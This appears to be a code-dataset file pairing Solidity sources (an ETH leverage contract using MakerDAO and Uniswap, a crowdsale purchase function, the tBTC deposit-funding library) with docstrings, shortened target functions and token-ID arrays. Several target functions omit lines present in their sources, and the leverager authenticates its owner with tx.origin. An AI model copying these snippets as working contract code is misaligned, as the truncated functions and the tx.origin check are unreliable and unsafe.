mapping (bytes32 => mapping (address => Urn)) public urns;
}
// Proxy Registry Interface
interface ProxyRegistryLike {
function proxies(address)
external
view
returns (address);
// build proxy contract
function build()
external;
}
// Very basic Erc-20 like token interface
interface TokenLike {
function approve(address usr, uint wad)
external
returns (bool);
function balanceOf(address account)
external
view
returns (uint256);
function withdraw(uint wad) external;
function allowance(address owner,address spender)
external
view
returns (uint256);
}
// Uniswap Router Interface
interface UniswapV2Router02Like {
function WETH() external returns (address);
function swapExactTokensForETH(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
returns (uint[] memory amounts);
}
// Uniswap Factory Interface
interface UniswapV2FactoryLike{
function getPair(address tokenA,
address tokenB
)
external
view
returns (address pair);
}
// Uniswap Pair Interface
interface UniswapV2PairLike {
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
// --- HELPER CONTRACT ---
// Contract stores the state variables and very basic helper functions
//
contract HelperContract {
address payable owner;
address DssProxyActions = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address CPD_MANAGER = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address ETH_JOIN = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
bytes32 ilk = 0x4554482d41000000000000000000000000000000000000000000000000000000;
address DAI_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address UNI_Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address UNI_Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address Wrapped_ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address MCD_PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
address MCD_UrnHandler;
address public proxy;
uint256 public cdpi;
uint8 public loopCount;
DssCdpManagerLike dcml = DssCdpManagerLike(CPD_MANAGER);
ProxyRegistryLike prl = ProxyRegistryLike(MCD_PROXY_REGISTRY);
UniswapV2Router02Like url = UniswapV2Router02Like(UNI_Router);
UniswapV2FactoryLike uv2 = UniswapV2FactoryLike(UNI_Factory);
TokenLike dai = TokenLike(DAI_TOKEN);
TokenLike weth = TokenLike(url.WETH());
VatLike vat = VatLike(MCD_VAT);
//
// Modifiers
//
// Ensure only the deployer of the contract can interact with ´onlyMyself´ flagged functions
modifier onlyMyself {
require(tx.origin == owner, "Your not the owner");
_;
}
// Ensure only the DS Proxy doesn't already have opened a Vault
modifier NoExistingCDP {
require(cdpi == 0, "There exists already a CDP");
_;
}
// Ensure only the Contract doesn't already have a DS Proxy
modifier NoExistingProxy {
require(proxy == address(0), "There exists already a Proxy");
_;
}
//
// Helper Function
//
// Return minimum and maximum draw amount of DAI
function getMinAndMaxDraw(uint input)
public
view
onlyMyself
returns (uint[2] memory) {
(,uint rate,uint spot,,uint dust) = vat.ilks(ilk);
(uint balance, uint dept) = vat.urns(ilk, MCD_UrnHandler);
uint ethbalance = balance + input;
return [dust/rate, ethbalance*spot/rate-dept];
}
// get Uniswap's exchange rate of DAI/WETH
function getExchangeRate()
public
view
onlyMyself
returns(uint) {
(uint a, uint b) = getTokenReserves_uni() ;
return a/b;
}
// get token reserves from the pool to determine the current exchange rate
function getTokenReserves_uni()
public
view
onlyMyself
returns (uint, uint) {
address pair = uv2.getPair(DAI_TOKEN,address(weth));
(uint reserved0, uint reserved1,) = UniswapV2PairLike(pair).getReserves();
return (reserved0, reserved1);
}
// This contracts ether balance
function daiBalance()
public
view
onlyMyself
returns (uint){
return dai.balanceOf(address(this));
}
// This contracts weth balance
function wethBalance()
public
view
onlyMyself
returns (uint){
return weth.balanceOf(address(this));
}
// Check if Uniswap's Router is approved to transfer Dai
function daiAllowanceApproved()
public
view
onlyMyself
returns (uint) {
return dai.allowance(address(this),UNI_Router);
}
// This contracts' vault balance
function vaultBalance()
public
view
onlyMyself
returns (uint[2] memory){
(uint coll, uint dept) = vat.urns(ilk, MCD_UrnHandler);
return [coll, dept];
}
// This contracts' vault balance incl. collaterals locked
function vaultEndBalance()
public
view
onlyMyself
returns (uint){
(uint coll, ) = vat.urns(ilk, MCD_UrnHandler);
return address(this).balance + coll;
}
}
// --- CALLER CONTRACT ---
// Contract stores the functions that interact with the protocols of MakerDao and Uniswap
//
contract CallerContract is HelperContract{
// Build DS Proxy for the CallerContract
function buildProxy() NoExistingProxy public {
prl.build();
proxy = prl.proxies(address(this)); // Safe proxy address to state variable
}
// Open CDP, lock some Eth and draw Dai
function openLockETHAndDraw(uint input, uint drawAmount) public payable onlyMyself NoExistingCDP {
bytes memory payload = abi.encodeWithSignature("openLockETHAndDraw(address,address,address,address,bytes32,uint256)",
address(dcml),
MCD_JUG,
ETH_JOIN,
DAI_JOIN,
ilk,
drawAmount
);
(bool success, ) = proxy.call{
value:input
}(abi.encodeWithSignature(
"execute(address,bytes)",
DssProxyActions, payload)
);
cdpi = dcml.first(proxy);
MCD_UrnHandler = dcml.urns(cdpi);
}
// Lock some Eth and draw Dai
function lockETHAndDraw(uint input, uint drawAmount) public payable onlyMyself {
bytes memory payload = abi.encodeWithSignature("lockETHAndDraw(address,address,address,address,uint256,uint256)",
address(dcml),
MCD_JUG,
ETH_JOIN,
DAI_JOIN,
cdpi,
drawAmount
);
(bool success, ) = proxy.call{
value:input
}(abi.encodeWithSignature(
"execute(address,bytes)",
DssProxyActions, payload)
);
}
// Approve Uniswap to take Dai tokens
function approveUNIRouter(uint value)
public
onlyMyself {
(bool success) = dai.approve(UNI_Router, value);
require(success);
}
// Execute Swap from Dai to Weth on Uniswap
function swapDAItoETH(uint value_in, uint value_out)
public
onlyMyself
returns (uint[] memory amounts) {
address[] memory path = new address[](2);
path[0] = address(DAI_TOKEN);
path[1] = url.WETH();
// IN and OUT amounts
uint amount_in = value_in;
uint amount_out = value_out;
amounts = url.swapExactTokensForETH(amount_in,
amount_out,
path,
address(this),
block.timestamp + 60
);
return amounts;
}
// Swap WETH to ETH
function wethToEthSwap()
public
onlyMyself {
weth.withdraw(wethBalance());
}
// Pay back contract's ether to owner
function payBack()
public
onlyMyself {
owner.transfer(address(this).balance);
}
fallback() external payable{}
receive() external payable{}
}
// --- ETH LEVERAGE CONTRACT ---
// Main Interface to interact with the CallerContract
//
contract EthLeverager is CallerContract {
constructor() payable {
owner = payable(msg.sender);
}
//
// Single Round - Action function to execute the magic within one transaction
//
// Input: ExchangeRate DAI/ETH (1855), price tolerance in wei (1000000000)
function action(uint rate, uint offset)
payable
onlyMyself
public {
// Ensure that the exchange rate didn't change dramatically
uint exchangeRate = getExchangeRate();
require(exchangeRate >= rate - offset
&&
exchangeRate <= rate + offset, "Exchange Rate might have changed or offset too small"
);
uint input = msg.value;
uint drawAmount = getMinAndMaxDraw(input)[1];
uint eth_out = drawAmount/(exchangeRate+offset);
if (proxy == address(0)) {
buildProxy();
}
if (cdpi == 0){
openLockETHAndDraw(input, drawAmount);
} else {
lockETHAndDraw(input, drawAmount);
}
require(daiBalance()>0, "SR - Problem with lock and draw");
approveUNIRouter(drawAmount);
require(daiAllowanceApproved() > 0, "SR - Problem with Approval");
swapDAItoETH(drawAmount, eth_out);
}
//
// Mulitple Rounds - Action function to execute the magic within one transaction
//
// Input: Leverage factor (ex. 150), exchangeRate DAI/ETH (ex. 1855), price tolerance in wei (ex. 1000000000)
function action(uint leverage, uint rate, uint offset)
payable
onlyMyself
public {
// Leverage factor cannot be risen above 2.7x
require(leverage >= 100 && leverage < 270, "Leverage factor must be somewhere between 100 and 270");
// Ensure that the exchange rate didn't change dramatically
uint exchangeRate = getExchangeRate();
require(exchangeRate >= rate - offset
&&
exchangeRate <= rate + offset, "Exchange Rate might have changed or offset too small"
);
// Desired ether amount at the end
uint goal = msg.value*leverage/100;
if (proxy == address(0)) {
buildProxy();
}
uint input = msg.value;
uint[2] memory draw = getMinAndMaxDraw(input);
uint minDraw = draw[0];
uint drawAmount = draw[1];
uint eth_out = drawAmount/(exchangeRate+offset);
uint vault = vaultBalance()[0];
loopCount = 0;
while ((vault < goal) && (drawAmount > minDraw)) {
require(drawAmount > 0, "MR - Draw is zero");
require(eth_out > 0, "MR - ETH out is zero");
if (cdpi == 0){
openLockETHAndDraw(input, drawAmount);
} else {
lockETHAndDraw(input, drawAmount);
}
require(daiBalance() > 0, "MR - Problem with lock and draw");
approveUNIRouter(drawAmount);
require(daiAllowanceApproved() > 0, "MR - Problem with approval");
swapDAItoETH(drawAmount, eth_out);
require(address(this).balance > 0, "MR - Problem with the swap");
input = address(this).balance;
draw = getMinAndMaxDraw(input);
minDraw = draw[0];
drawAmount = draw[1];
eth_out = drawAmount/(exchangeRate+offset);
vault = vaultBalance()[0];
require(vault > 0, "MR - Problem with the vault");
loopCount += 1;
}
}
}
| Debt Ceiling [rad]
| uint256 line; | 12,664,137 | [
1,
758,
23602,
29898,
4973,
2868,
306,
6012,
65,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2254,
5034,
980,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x9b08D6D7785c9Ffe43F0b4847f0777AbD0bda72D/sources/project_/contracts/Crowdsale.sol | * @dev low level token purchase DO NOT OVERRIDE This function has a non-reentrancy guard, so it shouldn't be called by another `nonReentrant` function. @param beneficiary Recipient of the token purchase/ calculate token amount to be created update state _updatePurchasingState(beneficiary, amount); _postValidatePurchase(beneficiary, amount); | function buyTokens(address beneficiary) public payable nonReentrant {
uint256 amount = msg.value;
_preValidatePurchase(beneficiary, amount);
uint256 tokens = _getTokenAmount(amount);
raised = raised + amount;
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, amount, tokens);
_forwardFunds();
}
| 1,884,759 | [
1,
821,
1801,
1147,
23701,
5467,
4269,
22577,
25382,
1220,
445,
711,
279,
1661,
17,
2842,
313,
12514,
11026,
16,
1427,
518,
12044,
1404,
506,
2566,
635,
4042,
1375,
5836,
426,
8230,
970,
68,
445,
18,
225,
27641,
74,
14463,
814,
23550,
434,
326,
1147,
23701,
19,
4604,
1147,
3844,
358,
506,
2522,
1089,
919,
389,
2725,
10262,
343,
11730,
1119,
12,
70,
4009,
74,
14463,
814,
16,
3844,
1769,
389,
2767,
4270,
23164,
12,
70,
4009,
74,
14463,
814,
16,
3844,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
30143,
5157,
12,
2867,
27641,
74,
14463,
814,
13,
1071,
8843,
429,
1661,
426,
8230,
970,
288,
203,
3639,
2254,
5034,
3844,
273,
1234,
18,
1132,
31,
203,
3639,
389,
1484,
4270,
23164,
12,
70,
4009,
74,
14463,
814,
16,
3844,
1769,
203,
203,
3639,
2254,
5034,
2430,
273,
389,
588,
1345,
6275,
12,
8949,
1769,
203,
203,
3639,
11531,
273,
11531,
397,
3844,
31,
203,
203,
3639,
389,
2567,
23164,
12,
70,
4009,
74,
14463,
814,
16,
2430,
1769,
203,
3639,
3626,
13899,
10262,
343,
8905,
24899,
3576,
12021,
9334,
27641,
74,
14463,
814,
16,
3844,
16,
2430,
1769,
203,
203,
203,
3639,
389,
11565,
42,
19156,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.10;
import {SafeMath} from "@summa-tx/bitcoin-spv-sol/contracts/SafeMath.sol";
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol";
import {IBondedECDSAKeep} from "@keep-network/keep-ecdsa/contracts/api/IBondedECDSAKeep.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {TBTCSystem} from "../system/TBTCSystem.sol";
import {DepositUtils} from "./DepositUtils.sol";
import {DepositLiquidation} from "./DepositLiquidation.sol";
import {DepositStates} from "./DepositStates.sol";
import {OutsourceDepositLogging} from "./OutsourceDepositLogging.sol";
import {TBTCConstants} from "./TBTCConstants.sol";
library DepositFunding {
using SafeMath for uint256;
using BTCUtils for bytes;
using BytesLib for bytes;
using DepositUtils for DepositUtils.Deposit;
using DepositStates for DepositUtils.Deposit;
using DepositLiquidation for DepositUtils.Deposit;
using OutsourceDepositLogging for DepositUtils.Deposit;
/// @notice Deletes state after funding
/// @dev This is called when we go to ACTIVE or setup fails without fraud
function fundingTeardown(DepositUtils.Deposit storage _d) internal {
_d.signingGroupRequestedAt = 0;
_d.fundingProofTimerStart = 0;
}
/// @notice Deletes state after the funding ECDSA fraud process
/// @dev This is only called as we transition to setup failed
function fundingFraudTeardown(DepositUtils.Deposit storage _d) internal {
_d.keepAddress = address(0);
_d.signingGroupRequestedAt = 0;
_d.fundingProofTimerStart = 0;
_d.signingGroupPubkeyX = bytes32(0);
_d.signingGroupPubkeyY = bytes32(0);
}
/// @notice The system can spin up a new deposit
/// @dev This should be called by an approved contract, not a developer
/// @param _d deposit storage pointer
/// @param _m m for m-of-n
/// @param _m n for m-of-n
/// @return True if successful, otherwise revert
function createNewDeposit(
DepositUtils.Deposit storage _d,
uint256 _m,
uint256 _n,
uint256 _lotSize
) public returns (bool) {
TBTCSystem _system = TBTCSystem(_d.TBTCSystem);
require(_system.getAllowNewDeposits(), "Opening new deposits is currently disabled.");
require(_d.inStart(), "Deposit setup already requested");
require(_system.isAllowedLotSize(_lotSize), "provided lot size not supported");
// TODO: Whole value is stored as funder bond in the deposit, but part
// of it should be transferred to keep: https://github.com/keep-network/tbtc/issues/297
_d.lotSizeSatoshis = _lotSize;
uint256 _bondRequirement = _lotSize.mul(_system.getInitialCollateralizedPercent()).div(100);
/* solium-disable-next-line value-in-payable */
_d.keepAddress = _system.requestNewKeep.value(msg.value)(_m, _n, _bondRequirement);
_d.signerFeeDivisor = _system.getSignerFeeDivisor();
_d.undercollateralizedThresholdPercent = _system.getUndercollateralizedThresholdPercent();
_d.severelyUndercollateralizedThresholdPercent = _system.getSeverelyUndercollateralizedThresholdPercent();
_d.signingGroupRequestedAt = block.timestamp;
_d.setAwaitingSignerSetup();
_d.logCreated(_d.keepAddress);
return true;
}
/// @notice slashes the signers partially for committing fraud before funding occurs
/// @dev called only by notifyFraudFundingTimeout
function partiallySlashForFraudInFunding(DepositUtils.Deposit storage _d) internal {
uint256 _seized = _d.seizeSignerBonds();
uint256 _slash = _seized.div(TBTCConstants.getFundingFraudPartialSlashDivisor());
_d.pushFundsToKeepGroup(_seized.sub(_slash));
_d.depositOwner().transfer(_slash);
}
/// @notice Seizes signer bonds and distributes them to the funder
/// @dev This is only called as part of funding fraud flow
function distributeSignerBondsToFunder(DepositUtils.Deposit storage _d) internal {
uint256 _seized = _d.seizeSignerBonds();
_d.depositOwner().transfer(_seized); // Transfer whole amount
}
/// @notice Anyone may notify the contract that signing group setup has timed out
/// @dev We rely on the keep system punishes the signers in this case
/// @param _d deposit storage pointer
function notifySignerSetupFailure(DepositUtils.Deposit storage _d) public {
require(_d.inAwaitingSignerSetup(), "Not awaiting setup");
require(
block.timestamp > _d.signingGroupRequestedAt + TBTCConstants.getSigningGroupFormationTimeout(),
"Signing group formation timeout not yet elapsed"
);
_d.setFailedSetup();
_d.logSetupFailed();
fundingTeardown(_d);
}
/// @notice we poll the Keep contract to retrieve our pubkey
/// @dev We store the pubkey as 2 bytestrings, X and Y.
/// @param _d deposit storage pointer
/// @return True if successful, otherwise revert
function retrieveSignerPubkey(DepositUtils.Deposit storage _d) public {
require(_d.inAwaitingSignerSetup(), "Not currently awaiting signer setup");
bytes memory _publicKey = IBondedECDSAKeep(_d.keepAddress).getPublicKey();
require(_publicKey.length == 64, "public key not set or not 64-bytes long");
_d.signingGroupPubkeyX = _publicKey.slice(0, 32).toBytes32();
_d.signingGroupPubkeyY = _publicKey.slice(32, 32).toBytes32();
require(_d.signingGroupPubkeyY != bytes32(0) && _d.signingGroupPubkeyX != bytes32(0), "Keep returned bad pubkey");
_d.fundingProofTimerStart = block.timestamp;
_d.setAwaitingBTCFundingProof();
_d.logRegisteredPubkey(
_d.signingGroupPubkeyX,
_d.signingGroupPubkeyY);
}
/// @notice Anyone may notify the contract that the funder has failed to send BTC
/// @dev This is considered a funder fault, and we revoke their bond
/// @param _d deposit storage pointer
function notifyFundingTimeout(DepositUtils.Deposit storage _d) public {
require(_d.inAwaitingBTCFundingProof(), "Funding timeout has not started");
require(
block.timestamp > _d.fundingProofTimerStart + TBTCConstants.getFundingTimeout(),
"Funding timeout has not elapsed."
);
_d.setFailedSetup();
_d.logSetupFailed();
fundingTeardown(_d);
}
/// @notice Anyone can provide a signature that was not requested to prove fraud during funding
/// @dev ECDSA is NOT SECURE unless you verify the digest
/// @param _d deposit storage pointer
/// @param _v Signature recovery value
/// @param _r Signature R value
/// @param _s Signature S value
/// @param _signedDigest The digest signed by the signature vrs tuple
/// @param _preimage The sha256 preimage of the digest
/// @return True if successful, otherwise revert
function provideFundingECDSAFraudProof(
DepositUtils.Deposit storage _d,
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public {
require(
_d.inAwaitingBTCFundingProof(),
"Signer fraud during funding flow only available while awaiting funding"
);
bool _isFraud = _d.submitSignatureFraud(_v, _r, _s, _signedDigest, _preimage);
require(_isFraud, "Signature is not fraudulent");
_d.logFraudDuringSetup();
// If the funding timeout has elapsed, punish the funder too!
if (block.timestamp > _d.fundingProofTimerStart + TBTCConstants.getFundingTimeout()) {
address(0).transfer(address(this).balance); // Burn it all down (fire emoji)
_d.setFailedSetup();
} else {
/* NB: This is reuse of the variable */
_d.fundingProofTimerStart = block.timestamp;
_d.setFraudAwaitingBTCFundingProof();
}
}
/// @notice Anyone may notify the contract no funding proof was submitted during funding fraud
/// @dev This is not a funder fault. The signers have faulted, so the funder shouldn't fund
/// @param _d deposit storage pointer
function notifyFraudFundingTimeout(DepositUtils.Deposit storage _d) public {
require(
_d.inFraudAwaitingBTCFundingProof(),
"Not currently awaiting fraud-related funding proof"
);
require(
block.timestamp > _d.fundingProofTimerStart + TBTCConstants.getFraudFundingTimeout(),
"Fraud funding proof timeout has not elapsed"
);
_d.setFailedSetup();
_d.logSetupFailed();
partiallySlashForFraudInFunding(_d);
fundingFraudTeardown(_d);
}
/// @notice Anyone may notify the deposit of a funding proof during funding fraud
// We reward the funder the entire bond if this occurs
/// @dev Takes a pre-parsed transaction and calculates values needed to verify funding
/// @param _d Deposit storage pointer
/// @param _txVersion Transaction version number (4-byte LE)
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs
/// @param _txLocktime Final 4 bytes of the transaction
/// @param _fundingOutputIndex Index of funding output in _txOutputVector (0-indexed)
/// @param _merkleProof The merkle proof of transaction inclusion in a block
/// @param _txIndexInBlock Transaction index in the block (0-indexed)
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, lowest height first
/// @return True if no errors are thrown
function provideFraudBTCFundingProof(
DepositUtils.Deposit storage _d,
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public returns (bool) {
require(_d.inFraudAwaitingBTCFundingProof(), "Not awaiting a funding proof during setup fraud");
bytes8 _valueBytes;
bytes memory _utxoOutpoint;
(_valueBytes, _utxoOutpoint) = _d.validateAndParseFundingSPVProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
_d.setFailedSetup();
_d.logSetupFailed();
// If the proof is accepted, update to failed, and distribute signer bonds
distributeSignerBondsToFunder(_d);
fundingFraudTeardown(_d);
return true;
}
/// @notice Anyone may notify the deposit of a funding proof to activate the deposit
/// This is the happy-path of the funding flow. It means that we have succeeded
/// @dev Takes a pre-parsed transaction and calculates values needed to verify funding
/// @param _d Deposit storage pointer
/// @param _txVersion Transaction version number (4-byte LE)
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs
/// @param _txLocktime Final 4 bytes of the transaction
/// @param _fundingOutputIndex Index of funding output in _txOutputVector (0-indexed)
/// @param _merkleProof The merkle proof of transaction inclusion in a block
/// @param _txIndexInBlock Transaction index in the block (0-indexed)
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, lowest height first
/// @return True if no errors are thrown
function provideBTCFundingProof(
DepositUtils.Deposit storage _d,
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public returns (bool) {
require(_d.inAwaitingBTCFundingProof(), "Not awaiting funding");
bytes8 _valueBytes;
bytes memory _utxoOutpoint;
(_valueBytes, _utxoOutpoint) = _d.validateAndParseFundingSPVProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
// Write down the UTXO info and set to active. Congratulations :)
_d.utxoSizeBytes = _valueBytes;
_d.utxoOutpoint = _utxoOutpoint;
_d.fundedAt = block.timestamp;
fundingTeardown(_d);
_d.setActive();
_d.logFunded();
return true;
}
}
| @notice Seizes signer bonds and distributes them to the funder @dev This is only called as part of funding fraud flow | function distributeSignerBondsToFunder(DepositUtils.Deposit storage _d) internal {
uint256 _seized = _d.seizeSignerBonds();
}
| 5,376,895 | [
1,
1761,
3128,
10363,
15692,
471,
1015,
1141,
2182,
358,
326,
284,
9341,
540,
1220,
353,
1338,
2566,
487,
1087,
434,
22058,
284,
354,
1100,
4693,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
